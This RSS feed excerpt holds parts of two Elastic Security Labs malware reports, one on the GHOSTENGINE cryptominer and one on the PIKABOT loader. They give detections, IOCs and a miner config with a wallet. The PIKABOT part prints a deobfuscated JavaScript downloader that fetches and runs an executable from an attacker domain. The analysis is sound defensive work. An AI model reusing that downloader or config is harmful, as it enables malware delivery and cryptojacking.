<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd87d38024f4e4e6/6a7c885273d9bdaa48297ce6/image24.png" alt="kill.png injecting shellcode" title="kill.png injecting shellcode" /></p>
<p>This module is written in C++, and the authors have integrated redundancy into its operation. This redundancy is evident in the replication of the technique used in <code>smartsscreen.exe</code> to terminate and delete EDR agent binaries; it continuously scans for any new processes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4ad1f7f824b137b5/6a7c88552f00b21ebeef8f59/image7.png" alt="kill.png hardcoded security agent monitoring list" title="kill.png hardcoded security agent monitoring list" /></p>
<h4 id="powershellbackdoormodulebackuppng">Powershell backdoor module: <code>backup.png</code></h4>
<p>The PowerShell script functions like a backdoor, enabling remote command execution on the system. It continually sends a Base64-encoded JSON object containing a unique ID, derived from the current time and the computer name while awaiting base64-encoded commands. The results of those commands are then sent back.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt421f22ae61121ba4/6a7c8858de2315a635fd1ef8/image18.png" alt="backup.png operating as a backdoor" title="backup.png operating as a backdoor" /></p>
<p>In this example <code>eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9</code> is the Base64-encoded JSON object:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta3f918847f62544c/6a7c885ae02fac64d85d05ed/image16.png" alt="C2 Communication example of backup.png" title="backup.png HTTP header information" /></p>
<pre><code>$ echo "eyJpZCI6IjE3MTU2ODYyNDA3MjYyNiIsImhvc3QiOiJhbmFseXNpcyJ9" | base64 -D
{"id":"171568624072626","host":"analysis"}
</code></pre>
<h2 id="minerconfiguration">Miner configuration</h2>
<p>XMRig is a legitimate crypto miner, and they have documented the configuration file usage and elements <a href="https://xmrig.com/docs/miner/config">here</a>. As noted at the beginning of this publication, the ultimate goal of the REF4578 intrusion set was to gain access to an environment and deploy a persistent Monero crypto miner, XMRig.</p>
<p>We extracted the configuration file from the miner, which was tremendously valuable as it allowed us to report on the Monero Payment ID and track the worker and pool statistics, mined cryptocurrency, transaction IDs, and withdrawals.</p>
<p>Below is an excerpt from the REF4578 XMRig configuration file:</p>
<pre><code>{
    "autosave": false,
    "background": true,
    "colors": true,

...truncated...

    "donate-level": 0,
    "donate-over-proxy": 0,
    "pools": [
        {
            "algo": "rx/0",
            "coin": "monero",
            "url": "pool.supportxmr[.]com:443",
            "user": "468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f",
            "keepalive": true,
            "tls": true

...truncated...

    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
</code></pre>
<h3 id="moneropaymentid">Monero Payment ID</h3>
<p>Monero is a blockchain cryptocurrency focusing on obfuscation and fungibility to ensure anonymity and privacy. The <a href="https://www.getmonero.org/resources/moneropedia/paymentid.html">Payment ID</a> is an arbitrary and optional transaction attachment that consists of 32 bytes (64 hexadecimal characters) or 8 bytes (in the case of integrated addresses).</p>
<p>Using the Payment ID from the above configuration excerpt (<code>468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f</code>) we can view the worker and pool statistics on one of the <a href="https://monero.hashvault.pro/en/">Monero Mining Pool site</a>s listed in the configuration. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt120c2bce1820e23d/6a7c885d9f52517f006640e6/image22.png" alt="Worker and pool statistics of the REF4578 Payment ID" title="Worker and pool statistics of the REF4578 Payment ID" /></p>
<p>Additionally, we can see the transaction hashes, which we can look up on the Monero blockchain explorer. Note that while transactions date back four months ago, this only indicates the <em>potential</em> monetary gain by this specific worker and account.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5399e2252491c438/6a7c88606c6eacd9ebf0e4a3/image2.png" alt="Payments for the REF4578 Payment ID" title="Payments for the REF4578 Payment ID" /></p>
<p>Using the Blockchain Explorer and one of the <a href="https://monero.hashvault.pro/explorer/prove/7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442/468ED2Qcchk4shLbD8bhbC3qz2GFXqjAUWPY3VGbmSM2jfJw8JpSDDXP5xpkMAHG98FHLmgvSM6ZfUqa9gvArUWP59tEd3f/f1415e7710323cf769ce74d57ec9b7337d7a61b9ee4bba2ee38f9e8c3c067a005a484f8b9a14fb8964f56bb76181eafdb7dbb00677a155b067204423f23ab50ad146867795f560ad9443520f073f0bd71b8afd3259b24ae2a59aa7772f68fc028388f001bfeaa0f4ccc1f547b54924bb116352e9302424d731dc580dcccbb40749503640895d31559d7fc258b616576e7f052bbdbbc7083126f595c36015de02f6e95da8cfc81ee5fa1bd4d4c29bf55db96e4779924ab0d26993f7bf834ceb01fe314fd19e55c7304f91e809be3e29b68778f0da6dbcfe57d3eafc6dae5e090645d6b3753f44c4e1c1356b19d406c6efe7a55ec7c2b4997bd1fc65f15a4fda03619fc53beff111ddd9fd94f5ba3c503ccb73f52009bd3c1d47216b9a7c82d5065ac5e8a946e998cbc23fd8815a93cbbd655961709ac3ea8b1fd87e940e72370dc542ca4c22837e91ab5dd94d2c1c0a81e8ec9558766575ba236c3ae29b0f470fe881e22a03da405118a3353a5ecc618d1837e1a2bd449888a47a761efa98c407ce857fd389cdea63e9670edcf4b4d6c4c33e9c2851430270c8ef6dfb8cfeb9025ca7a17c9acdbfeb6670b3eabcbfde36cbc907e23fdd0c64aa2fc4103412a70c97838e177184c2f3d794e089b47ce66656d6c4cab2bbb4d6d71a3245f1dc360c7da9220eec90ef6e67cb13831b52ef14cf5bf1dd6adc202edc0892d9529145047786ed1042857f6986ed608839d595f06c1971f415f967d260d17ea8f5582400">transaction hashes</a> we got from the Payment ID, we can see the public key, the amount is withdrawn, and when. Note that these public keys are used with one-time addresses, or stealth addresses that the adversary would then use a private key with to unlock the funds.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt354e3bd16ac170b9/6a7c886333fa8a65851fca2e/image17.png" alt="Transactions for the REF4578 Payment ID" title="Transactions for the REF4578 Payment ID" /></p>
<p>In the above example for transaction <code>7c106041de7cc4c86cb9412a43cb7fc0a6ad2c76cfdb0e03a8ef98dd9e744442</code> we can see that there was a withdrawal of <code>0.109900000000</code> XMR (the abbreviation for Monero) totaling $14.86 USD. The Monerao Mining Pool site shows four transactions of approximately the same amount of XMR, totaling approximately $60.70 USD (January - March 2024).</p>
<p>As of the publication of this research, there are still active miners connected to the REF4578 Payment ID.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt22a3c22dad88a1b4/6a7c886651156a821d2bc9f7/image5.png" alt="Miners actively connecting to the REF4578 Payment ID" title="Miners actively connecting to the REF4578 Payment ID" /></p>
<p>While this specific Payment ID does not appear to be a big earner, it is evident that REF4578 could operate this intrusion set successfully. Other victims of this campaign could have different Payment IDs used to track intrusions, which could be combined for a larger overall haul.</p>
<h2 id="malwareandmitreattck">Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1132">Data Encoding</a></li>
<li><a href="https://attack.mitre.org/techniques/T1496/">Resource Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1489/">Service Stop</a></li>
</ul>
<h2 id="mitigatingghostengine">Mitigating GHOSTENGINE</h2>
<h3 id="detection">Detection</h3>
<p>The first objective of the GHOSTENGINE malware is to incapacitate endpoint security solutions and disable specific Windows event logs, such as Security and System logs,  which record process creation and service registration. Therefore, it is crucial to prioritize the detection and prevention of these initial actions:</p>
<ul>
<li>Suspicious PowerShell execution</li>
<li>Execution from unusual directories</li>
<li>Elevating privileges to system integrity</li>
<li>Deploying vulnerable drivers and establishing associated kernel mode services.</li>
</ul>
<p>Once the vulnerable drivers are loaded, detection opportunities decrease significantly, and organizations must find compromised endpoints that stop transmitting logs to their SIEM.</p>
<p>Network traffic may generate and be identifiable if DNS record lookups point to <a href="https://miningpoolstats.stream/monero">known mining pool</a> domains over well-known ports such as HTTP (<code>80</code>) and HTTPS  (<code>443</code>). Stratum is also another popular network protocol for miners, by default, over port <code>4444</code>.</p>
<p>The analysis of this intrusion set revealed the following detection rules and behavior prevention events:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/privilege_escalation_service_control_spawned_script_int.toml">Service Control Spawned via Script Interpreter</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/persistence_local_scheduled_task_creation.toml">Local Scheduled Task Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_from_unusual_directory.toml">Process Execution from an Unusual Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/execution_command_shell_started_by_svchost.toml#L41">Svchost spawning Cmd</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/execution_command_shell_started_by_svchost.toml#L41">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_clearing_windows_event_logs.toml">Clearing Windows Event Logs</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/79f575b33c747e0c3c5f7293c95f3ddab611e683/rules/windows/defense_evasion_microsoft_defender_tampering.toml">Microsoft Windows Defender Tampering</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/privilege_escalation_potential_privilege_escalation_via_missing_dll.toml">Potential Privilege Escalation via Missing DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml#L58">Binary Masquerading via Untrusted Path</a></li>
</ul>
<h3 id="prevention">Prevention</h3>
<p>Malicious Files Prevention : </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt88014734d3473b7f/6a7c8869c33f4f764fd54b36/image1.png" alt="GHOSTENGINE file prevention" title="GHOSTENGINE file prevention" /></p>
<p>Shellcode Injection Prevention:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7d502237a7032406/6a7c886c448e4e67555bac89/image14.png" alt="GHOSTENGINE shellcode prevention" title="GHOSTENGINE shellcode prevention" /></p>
<p>Vulnerable Drivers file creation prevention (<a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_ArPot.yar">Windows.VulnDriver.ArPot</a> and <a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar">Windows.VulnDriver.IoBitUnlocker</a> )</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7ea331bf8b68307a/6a7c886f1967ea476e32a953/image15.png" alt="GHOSTENGINE driver prevention" title="GHOSTENGINE driver prevention" /></p>
<h4 id="yara">YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. </p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostEngine.yar">Windows Trojan GHOSTENGINE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_ArPot.yar">Windows.VulnDriver.ArPot</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/yara/rules/Windows_VulnDriver_IoBitUnlocker.yar">Windows.VulnDriver.IoBitUnlocker</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostengine">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type      | Name                                                        | Reference                          |
|------------------------------------------------------------------|-----------|-------------------------------------------------------------|------------------------------------|
| <code>2fe78941d74d35f721556697491a438bf3573094d7ac091b42e4f59ecbd25753</code> | SHA-256   | <code>C:\Windows\Fonts\smartsscreen.exe</code>                           | GHOSTENGINE EDR controller module  |
| <code>4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1</code> | SHA-256   | <code>C:\Windows\System32\drivers\aswArPots.sys</code>                   | Avast vulnerable driver            |
| <code>2b33df9aff7cb99a782b252e8eb65ca49874a112986a1c49cd9971210597a8ae</code> | SHA-256   | <code>C:\Windows\System32\drivers\IObitUnlockers.sys</code>              | Iobit vulnerable driver            |
| <code>3ced0552b9ecf3dfecd14cbcc3a0d246b10595d5048d7f0d4690e26ecccc1150</code> | SHA-256   | <code>C:\Windows\System32\oci.dll</code>                            | Update/Persistence module (64-bit)   |
| <code>3b2724f3350cb5f017db361bd7aae49a8dbc6faa7506de6a4b8992ef3fd9d7ab</code> | SHA-256   | <code>C:\Windows\System32\oci.dll</code>                            | Update/Persistence module (32-bit)   |
| <code>35eb368c14ad25e3b1c58579ebaeae71bdd8ef7f9ccecfc00474aa066b32a03f</code> | SHA-256   | <code>C:\Windows\Fonts\taskhostw.exe</code>                              | Miner client                       |
| <code>786591953336594473d171e269c3617d7449876993b508daa9b96eedc12ea1ca</code> | SHA-256   | <code>C:\Windows\Fonts\config.json</code>                                | Miner configuration file           |
| <code>11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5</code> | SHA-256   | <code>C:\Windows\Fonts\WinRing0x64.sys</code>                            | Miner driver                       |
| <code>aac7f8e174ba66d62620bd07613bac1947f996bb96b9627b42910a1db3d3e22b</code> | SHA-256   | <code>C:\ProgramData\Microsoft\DeviceSync\SystemSync\Tiworker.exe</code> | Initial stager                     |
| <code>6f3e913c93887a58e64da5070d96dc34d3265f456034446be89167584a0b347e</code> | SHA-256   | <code>backup.png</code>                                                  | GHOSTENGINE backdoor module        |
| <code>7c242a08ee2dfd5da8a4c6bc86231985e2c26c7b9931ad0b3ea4723e49ceb1c1</code> | SHA-256   | <code>get.png</code>                                                     | GHOSTENGINE loader                 |
| <code>cc4384510576131c126db3caca027c5d159d032d33ef90ef30db0daa2a0c4104</code> | SHA-256   | <code>kill.png</code>                                                    | GHOSTENGINE EDR termination module |
| <code>download.yrnvtklot[.]com</code>                                         | domain    |                                                             | C2 server                          |
| <code>111.90.158[.]40</code>                                                  | ipv4-addr |                                                             | C2 server                          |
| <code>ftp.yrnvtklot[.]com</code>                                              | domain    |                                                             | C2 server                          |
| <code>93.95.225[.]137</code>                                                  | ipv4-addr |                                                             | C2 server                          |
| <code>online.yrnvtklot[.]com</code>                                           | domain    |                                                             | C2 server                          |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li>https://www.antiy.com/response/HideShoveling.html</li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/invisible-miners-unveiling-ghostengine</link>
    <guid isPermaLink="false">invisible-miners-unveiling-ghostengine</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam,Samir Bousseaden,Terrance DeJesus,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt15280a875e8801ca/6a7c88719f5251a9d86640ea/ghostengine.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 22 May 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[PIKABOT, I choose you!]]></title>
    <description><![CDATA[Elastic Security Labs observed new PIKABOT campaigns, including an updated version. PIKABOT is a widely deployed loader malicious actors utilize to distribute additional payloads.]]></description>
    <content:encoded><![CDATA[<h2 id="pikabotataglance">PIKABOT at a glance</h2>
<p>PIKABOT is a widely deployed loader malicious actors utilize to distribute payloads such as Cobalt Strike or launch ransomware. On February 8th, the Elastic Security Labs team observed new PIKABOT campaigns, including an updated variant. This version of the PIKABOT loader uses a new unpacking method and heavy obfuscation. The core module has added a new string decryption implementation, changes to obfuscation functionality, and various other modifications.</p>
<p>This post will highlight the initial campaign, break down the new loader functionality,  and review the core components. There are interesting design choices in this new update that we think are the start of a new codebase that will make further improvements over time. While the functionality is similar to previous builds, these new updates have likely broken signatures and previous tooling.  </p>
<p>During the development of this research, the ThreatLabz team at Zscaler released great <a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">analysis</a> and insights into a sample overlapping with those in this post. We suggest reading their work along with ours to understand these PIKABOT changes comprehensively.</p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>Fresh campaigns involving significant updates to the PIKABOT loader and core components  </li>
<li>PIKABOT loader uses a new unpacking technique of combining scattered chunks of encrypted data in base64 format from <code>.data</code> section</li>
<li>Changes in the core include toned-down obfuscation and in-line RC4 functions, plaintext configuration at runtime, removal of AES during network communications</li>
<li>PIKABOT development appears as a work-in-progress, with future updates likely imminent</li>
<li>Call-stack visibility using Elastic Security provides the ability to triage threats like PIKABOT rapidly</li>
</ul>
<h4 id="pikabotcampaignoverview">PIKABOT campaign overview</h4>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1aa9466f89ce2f21/6a7c9135227b1c3d37592985/image17.png" alt="PIKABOT execution flow" title="PIKABOT execution flow" /></p>
<p>As the new year started, PIKABOT distribution remained inactive until approximately two weeks ago. This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdbd27140a32c4862/6a7c9138437e0f69bedd58a2/image21.png" alt="Obfuscated Javascript within ZIP archive" title="Obfuscated Javascript within ZIP archive" /></p>
<p>Below are the contents of the obfuscated JavaScript file, showing the next sequence to download and execute PIKABOT’s loader using PowerShell.</p>
<pre><code>// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i &lt; 3; i++)
{
    var obj = new ActiveXObject("WScript.Shell")
    obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}
</code></pre>
<h2 id="pikabotloader">PIKABOT loader</h2>
<h3 id="loaderstage1">Loader stage 1</h3>
<p>To appear authentic, the developer tampered with a legitimate search and replace tool called <code>grepWinNP3.exe</code> from <a href="https://github.com/rizonesoft/Notepad3">this</a> repository. Using our internal sandboxing project (<a href="https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate">Detonate</a>) and leveraging Elastic Defend’s <a href="https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks">call stack feature</a> provided a detailed trace of the execution, allowing us to pinpoint the entry point of malicious code. </p>
<p>An analysis of the call stack data reveals that execution begins at a call before offset <code>0x81aa7</code> within the malicious file; the execution then leaps to a memory allocation at a call prior to offset <code>0x25d84</code>. Furthermore, it was observed that the process creation call stack is missing normal calls to <code>KernelBase.dll!CreateProcessInternalW</code> and <code>ntdll.dll!NtCreateUserProcess</code>, due to the use of a syscall via shellcode execution residing in the <a href="https://www.elastic.co/security-labs/hunting-memory">unbacked memory</a>. By using this implementation, it will bypass user-mode hooks on WOW64 modules to evade EDR products. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2cc9b8ccf50e07d0/6a7c913bde23154468fd20b6/image8.png" alt="Alert call stack for PIKABOT loader" title="Alert call stack for PIKABOT loader" /></p>
<p>Looking into the offset <code>0x81aa7</code> of the malicious file and conducting a side-by-side code comparison with a verified, benign version of the <code>grepWinNP3.exe</code> file, we identified something distinct and unusual: a hardcoded address to execute the PIKABOT loader, this marks the entrypoint of the PIKABOT loader.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf7c905173cdada99/6a7c913e42a11722b49563c3/image1.png" alt="Entrypoint to malicious code" title="Entrypoint to malicious code" /></p>
<p>The malicious code employs heavy obfuscation, utilizing a technique where a jump (<code>JMP</code>) follows each assembly instruction. This approach significantly complicates analysis by disrupting the straightforward flow of execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1b8f12bb793b86c2/6a7c9141e02fac68575d07cf/image14.png" alt="Obfuscation involving a combination of instructions and jumps" title="Obfuscation involving a combination of instructions and jumps" /></p>
<p>The loader extracts its stage 2 payload from the <code>.text</code> section, where it is stored in chunks of <code>0x94</code> bytes, before consolidating the pieces. It then employs a seemingly custom decryption algorithm, which utilizes bitwise operations. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt16670843b7990cf7/6a7c9143de23155895fd20ba/image5.png" alt="Decryption algorithm for stage 2 payload" title="Decryption algorithm for stage 2 payload" /></p>
<p>The next step of the process is to reflectively load the PE file within the confines of the currently executing process. This technique involves dynamically loading the PE file's contents into memory and executing it, without the need for the file to be physically written to disk. This method not only streamlines the execution process by eliminating the necessity for external file interactions but also significantly enhances stealth by minimizing the digital footprint left on the host system.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt82a1be56617b530f/6a7c9147de23152134fd20c0/image25.png" alt="Reflectively loading PE" title="Reflectively loading PE" /></p>
<h3 id="loaderstage2">Loader stage 2</h3>
<p>The stage 2 loader, tasked with initializing the PIKABOT core within a newly established process, employs a blend of code and string obfuscation techniques similar to those found in the core itself. In addition to its obfuscation capabilities, the loader incorporates a series of advanced anti-debugging countermeasures.</p>
<h4 id="antidebugging">Anti-debugging</h4>
<p>The malware utilizes specific NTDLL <code>Zw</code> APIs for a variety of operations, including debugger detection, process creation, and injection, aiming to stay under the radar of detection mechanisms and evade EDR (Endpoint Detection and Response) user-land hooking, as well as debugging attempts. </p>
<p>It executes syscalls directly, bypassing conventional API calls that are more susceptible to monitoring and interception. It uses a wrapper function that facilitates the execution of syscalls in 64-bit mode which takes a hash of a <code>Zw</code> API name as a parameter.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdab49e0c16fc56c5/6a7c9149e02fac15fe5d07d3/image24.png" alt="Function used to execute syscall by hash" title="Function used to execute syscall by hash" /></p>
<p>The wrapper function extracts the syscall ID by parsing the loaded NTDLL and matching the hash of the <code>Zw</code> function name. After finding the correct syscall ID, it uses the <code>Wow64Transition</code> Windows API to execute the syscall in 64-bit mode.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt23eec6366ed4ee76/6a7c914c8fc2d0029b3e8b9a/image11.png" alt="Control flow graph showing syscall passed to &lt;code&gt;WoW64Transition&lt;/code&gt;" title="Control flow graph showing syscall passed to &lt;code&gt;WoW64Transition&lt;/code&gt;" /></p>
<p>Note that the parameters needed are pushed on the stack before the wrapper is called, the following example showcases a <code>ZwQueryInformationProcess</code> call with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code>(7):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5ca8748bf318cb50/6a7c914fead8ecdefdba4bf8/image6.png" alt="Syscall parameters pushed on stack" title="Syscall parameters pushed on stack" /></p>
<p>The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools. These techniques include:</p>
<ul>
<li>Calling <code>ZwQuerySystemInformation</code> with the <code>SystemKernelDebuggerInformation</code> parameter to detect the presence of kernel debuggers.</li>
<li>Calling <code>ZwQueryInformationProcess</code> with the <code>ProcessInformationClass</code> set to <code>ProcessDebugPort</code> to identify any debugging ports associated with the process.</li>
<li>Calling <code>ZwQueryInformationProcess</code> again, but with the <code>ProcessInformationClass</code> set to <code>ProcessDebugFlags</code> parameter, to ascertain if the process has been flagged for debugging.</li>
<li>Inspecting the Process Environment Block (PEB) for the <code>BeingDebugged</code> flag, which indicates if the process is currently being debugged.</li>
<li>Using <code>GetThreadContext</code> to detect hardware breakpoints.
Scanning the list of currently running processes to identify any active debugging or forensic tools.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd4c7cf914056a79/6a7c915251156a06552bcbc3/image9.png" alt="Decompilation of debugging checks" title="Decompilation of debugging checks" /></p>
<p>Interestingly, we discovered a bug where some of the process names it checks have their first byte zeroed out, this could suggest a mistake by the malware’s author or an unwanted side-effect added by the obfuscation tool. The full list of process names that are checked can be found at the end of this article.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb2f53aa4c91b93ed/6a7c9154227b1c806159298d/image15.png" alt="Process names with missing first byte" title="Process names with missing first byte" /></p>
<h4 id="execution">Execution</h4>
<p>The loader populates a global variable with the addresses of essential APIs from the NTDLL and KERNEL32 libraries. This step is pivotal for the malware's operation, as these addresses are required for executing subsequent tasks. Note that the loader employs a distinct API name hashing algorithm, diverging from the one previously used for <code>Zw</code> APIs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt604358f52ebba24b/6a7c9157fc63aba9cc647261/image19.png" alt="APIs retrieved for loading core component" title="APIs retrieved for loading core component" /></p>
<p>Below is the reconstructed structure:</p>
<pre><code>struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};
</code></pre>
<p>Loader structure </p>
<p>The malware then consolidates bytes of the PIKABOT core that are scattered in the <code>.data</code> section in base64-encoded chunks, which is noteworthy when compared to a previous version which loaded a set of PNGs from its resources section.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt60dede641018b8b9/6a7c915ae02fac19c75d07dd/image2.png" alt="Functions used to retrieve core payload in chunks" title="Functions used to retrieve core payload in chunks" /></p>
<p>It executes a sequence of nine distinct functions, each performing similar operations but with varying arguments. Each function decrypts an RC4 key using an in-line process that utilizes strings that appear legitimate. The function then base64 decodes each chunk before decrypting the bytes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcf5d982b4264d24c/6a7c915dda3d0524e963401f/image3.png" alt="Decryption functions using RC4 and base64" title="Decryption functions using RC4 and base64" /></p>
<p>After consolidating the decrypted bytes, it uses the <code>RtlDecompressBuffer</code> API to decompress them.</p>
